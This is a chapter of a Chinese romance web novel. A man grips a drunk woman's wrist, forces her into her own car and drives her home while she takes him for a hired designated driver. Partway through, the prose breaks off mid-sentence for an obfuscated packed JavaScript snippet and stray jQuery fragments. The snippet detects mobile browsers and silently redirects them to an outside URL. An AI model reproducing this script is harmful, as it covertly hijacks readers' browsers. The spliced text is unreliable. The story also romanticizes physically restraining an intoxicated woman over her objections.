默认冷灰
24号文字
方正启体

9. 代驾

作者:乐乌鹭本书字数:K更新时间:
    岑裕脸上一瞬间的惊讶迅速被恼怒替代。


    她的眉头皱了起来,原本迷蒙的眼神一下子变得清明了几分,带着一种被冒犯的戒备。


    她下意识地往旁边退一步,想要拉开距离,想要远离这个人,离得越远越好。


    然而,手腕忽然被握住了。


    那力道不大,却稳稳地箍住了她纤细的腕骨,让她退无可退。


    詹开澜的手指修长而有力,指腹带着薄茧,触感微微粗粝而温热,令人无法忽视。


    岑裕的动作僵住了。


    她低头看了一眼那只握住她手腕的手,又抬起头,对上他的目光。


    路灯的光不算明亮,夜色下他的表情看不太真切,但那双眼睛在昏暗的光线里显得格外深邃,像是一潭看不到底的水。


    他看着她的反应,嘴角微微弯了一下,似是意料之中。


    岑裕的呼吸急促了几分,酒精让她的反应比平时慢了一些,但那股恼火却是实打实的。


    她用力挣了一下手腕,没挣开。


    “你想干什么?!”她的声音有些哑,但语气里的不悦清清楚楚。


    詹开澜沉默了一会儿,没有立刻回答。


    他低着头看她,目光落在她那双蒙着水雾却依然倔强地瞪着他的眼睛上。


    沉默了几秒。


    “我来找你了。”他说。


    声音不大,但在空旷的停车场里却显得格外清晰。


    岑裕一下愣住了。


    她像是没听清,又像是听清了但不敢相信。


    忽然,她的眼眶倏地红了。鼻尖也跟着泛酸,喉咙像被什么东西堵住了,堵得她几乎喘不上气。


    但她忍住了。


    没有落泪,一滴也没有。


    “你现在来找我有什么用?”她开口,声音有些抖,但每一个字都咬得很清楚。


    “有什么用?!”她又重复了一遍。


    詹开澜看着她泛红的眼眶,看着她死死忍住不肯落泪的样子,胸口忽然涌上一股说不清道不明的感觉。


    不是愧疚,或者说,不全是愧疚。


    更像是有什么东西堵在那里,闷闷的,胀胀的,让他不自觉地收紧了握着她手腕的手指。


    “当年是我的错。”


    五个字,不轻不重,却像是把一柄钝刀,慢慢地切进岑裕心里那些结了痂的地方。


    岑裕深吸了一口气。


    她抬起头,对上他的目光,眼眶还是红的,但表情已经恢复了平静。


    “詹先生,”她说,声音稳了很多,“当年的事已经过去了,我不需要你的道歉。请你现在离开。”


    詹先生。


    詹开澜的眼神微微一变,唇线也有些绷紧。


    呵,真是客气。


    他垂下眼,嘴角微微动了一下。


    岑裕说完那句话,就直直地看着他,神色严肃,整个人透着一股拒绝的意味。


    詹开澜抬起眼,重新看向她。


    她的脸红红的,不知道是酒精的作用还是刚才那一下情绪的波动,现在的她像一只炸了毛的猫,努力做出凶狠的样子。


    他看着看着,忽然轻轻笑了一下。


    岑裕不可置信地瞪大了眼睛。


    他笑什么?


    真是莫名其妙!


    詹开澜没有回答。


    他松开她的手腕,在她还没来得及庆幸之前,已经转身拉开了她那辆白色SUV的副驾驶车门。


    “你又想干什么?”岑裕警觉地后退了一步,但脚下一个踉跄,差点没站稳。


    詹开澜看了她一眼,伸手扣住她的手臂,稳稳地把人带过来,然后把她塞进了副驾驶。


    动作不算温柔,但也没有很粗鲁。岑裕被按进座椅里的时候整个人都是懵的,等她反应过来,立刻开始挣扎。


    “你放开!这是我的车!”


    她推他的手臂,推他的肩膀,手忙脚乱地想要从座椅里爬出来。但酒精让她的四肢软得像棉花,每一下推拒其实都没什么力道。


    詹开澜一只手就制住了她所有的反抗。


    他倾身过来,整个人几乎贴着她的身体,一手撑在座椅靠背上,一手拉过安全带,“咔嗒”一声扣进了卡槽。


    那个姿势很近。近到她的鼻尖几乎擦过他的衬衫领口,近到他的呼吸拂过她的额头,带着微微的热度。


    暧昧得不像话。


    岑裕的大脑在这一刻终于彻底宕机了。


    她靠在座椅里,睁着一双迷蒙的眼睛,看着近在咫尺的那张脸,嘴唇动了动,最后什么声音都没发出来。


    然后,她的眼皮开始打架,意识像潮水一样退去,眼前的人影变得越来越模糊。


    她努力地想要保持清醒,但身体已经不听使唤了,头慢慢地歪向一边,靠在车窗上,闭上了眼睛。


    詹开澜直起身,看着她在副驾驶上歪着头昏昏欲睡的样子,眉头微微拧了一下。


    刚才还在挣扎,现在倒好,直接睡着了。


    他绕到驾驶座,拉开车门坐进去。


    此时,他神色清明。因为酒会上他其实喝的根本不是香槟,应酬这么多年,他早就学会了在这种场合保持清醒。


    “你家在哪儿?”他出声问。


    副驾驶上的人没有反应。


    “岑裕。”他提高音量又喊了一声。


    “……嗯?”她迷迷糊糊地应了一下,眼皮都没抬。


    “你家住哪儿?我送你回去。”


    岑裕的大脑此刻已经进入了一种混沌的状态。她恍惚间觉得自己好像是叫了代驾的。对,刚才在停车场确实在手机上操作了,应该已经下单成功了。


    “师傅……”她的声音含糊不清,舌头像是打了结,“开到……暻园小区……就行了。”


    师傅。


    詹开澜的眉心跳了一下,这女人把他当什么了。


    他偏头看着她,那女人歪在座椅里,眼睛闭得紧紧的,表情坦然得很,浑然不觉自己刚才说了什么。


    他咬了咬牙,深吸了一口气,又缓缓吐出来。


    不跟醉酒的人计较。


    他打开导航,输入“暻园小区”,缓缓驶出停车场。


    城市的灯火在车窗外飞速后退,路灯明明灭灭地落在他的侧脸上。


    他单手握着方向盘,另一只手随意地搭在车上,目光注视着前方的路,脑子里却在想着别的事。


    他想起刚才在宴会厅里,看着她拎着包离开的背影,她走得不快,步子有些晃。


    他不知道自己在想什么,甚至没有多想,就跟上去了。


    他搞不懂自己。大晚上的,放着好好的车不坐,眼巴巴地跟上来,就为了给人当司机?这种事说出去,怕是没人会信。


    詹开澜自嘲地笑了一下,眼底却没有多少笑意。


    他偏头看了一眼副驾驶。


    岑裕歪着头闭眼靠在车窗上,眉头皱得很紧。她的脸颊还是红红的,口红蹭掉了一些,嘴唇有些干,呼吸声比刚才重了一些,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481675|201779||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    整个人看起来难受得很。


    詹开澜收回目光,把车窗开了一条缝。夜风灌进来,带着初秋的凉意。


    开了一会儿,副驾驶上忽然传来一个含糊的声音。


    “师傅……”


    詹开澜皱了皱眉,没应。


    “师傅……”那声音又大了一点,“我想吐……吐你车上要多少钱啊?”


    詹开澜的手在方向盘上顿了一下。


    师傅,又是师傅。


    她的脸色确实不太好,嘴唇有些发白,眉头拧成一团,一只手捂着嘴,一副随时可能喷发的样子。


    “岑裕,”他尽量让自己的声音听起来平静,“这是你自己的车。”


    “嗯……”她低低地应了一声,显然没有听懂。


    詹开澜又看了她一眼,发现她的脸色越来越差,眉头越皱越紧,捂着嘴的手也开始用力。


    他当机立断,打了一把方向,车子稳稳地靠向路边,停了下来。


    几乎是同一时间,岑裕手忙脚乱地解开安全带,推开车门,踉踉跄跄地冲了出去。


    高跟鞋在路上绊了一下,她整个人往前栽了栽,好在扶住了路边的一棵树,勉强稳住了身体。


    然后她弯下腰,对着绿化带,开始大吐特吐。


    詹开澜坐在驾驶座上,从后视镜里看着她的背影。


    路灯下,她弯着腰,一只手撑着膝盖,一只手扶着树干,肩膀一耸一耸的。头发从耳后滑落下来,挡住了大半张脸,整个人看起来狼狈极了。


    他的眉心拧了一下。


    喝这么多干什么。


    他解开安全带,推门下车。环顾了一下四周,街对面正好有一家便利店,他抬脚往那边走去。


    “师傅——”身后传来一个虚弱但急切的声音。


    詹开澜停下脚步,回头。


    岑裕还弯着腰,但头已经转了过来,一双眼睛湿漉漉地看着他,里面写满了惊慌和控诉。


    “你不能走啊,”她的声音有些嘶哑,带着酒意和委屈,就像被人抛弃了一样,“师傅,你的职业道德呢?”


    詹开澜站在路灯下,看着她那张因为呕吐而更加狼狈的脸,眉心突突地跳了两下。


    他又咬了咬牙。


    这女人。


    他深吸一口气,没说话,转身继续往便利店走,步伐比刚才快了不少。


    身后传来她的声音,含糊不清的,像是在自言自语,又像是在对着空气控诉:“现在的代驾怎么都这样……”


    闻言,詹开澜的神色一黑,彻底无话可说。


    便利店里,他拿了一瓶常温的矿泉水和一包纸巾,快步走到收银台前,扫码付款,整个过程不到一分钟。


    出来的时候,她还蹲在路边。


    她蹲在那里,小小的一团,抱着膝盖,脑袋低垂着,有点可怜。


    詹开澜走过去,蹲下身,把矿泉水递到她面前。


    岑裕抬起头。


    她的眼睛红红的,不知道是吐的还是别的什么原因,睫毛上还挂着细碎的水珠。


    她看着他递过来的水,愣了一秒,然后笑了。


    那个笑容很浅,带着酒意特有的那种迟钝和天真,嘴角弯弯的,眼睛眯成一条缝。


    “谢谢你啊,师傅。”她接过水,声音软得不像话。


    詹开澜蹲在她面前,看着那个笑容,眉心狠狠地拧了一下,然后伸手按住了自己的太阳穴。


    不跟这女人计较。


    他在心里念了两遍。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)